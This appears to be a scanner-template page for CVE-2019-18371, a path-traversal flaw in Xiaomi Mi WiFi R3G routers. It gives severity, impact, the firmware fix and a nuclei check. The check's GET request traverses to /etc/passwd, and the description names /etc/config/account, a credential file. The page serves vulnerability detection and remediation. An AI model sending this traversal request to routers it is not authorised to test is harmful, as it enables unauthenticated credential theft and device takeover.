Xiaomi Mi WiFi R3G Routers - Local file Inclusion

highseverity

7.5CVSS score

55.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.

Impact

Unauthenticated attackers can bypass authentication and read arbitrary files including configuration files containing credentials, potentially leading to complete router compromise.

Fix

Update the firmware of the Xiaomi Mi WiFi R3G routers to the latest version, which includes a fix for the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api-third-party/download/extdisks../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-18371 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-18371

info:
  name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion
  author: ritikchaddha
  severity: high
  description: |
    Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
  impact: |
    Unauthenticated attackers can bypass authentication and read arbitrary files including configuration files containing credentials, potentially leading to complete router compromise.
  remediation: |
    Update the firmware of the Xiaomi Mi WiFi R3G routers to the latest version, which includes a fix for the local file inclusion vulnerability.
  reference:
    - https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html
    - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18371
    - https://github.com/password520/Penetration_PoC
    - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18371
    cwe-id: CWE-22
    epss-score: 0.55872
    epss-percentile: 0.99051
    cpe: cpe:2.3:o:mi:millet_router_3g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mi
    product: millet_router_3g_firmware
  tags: cve2019,cve,lfi,router,mi,xiaomi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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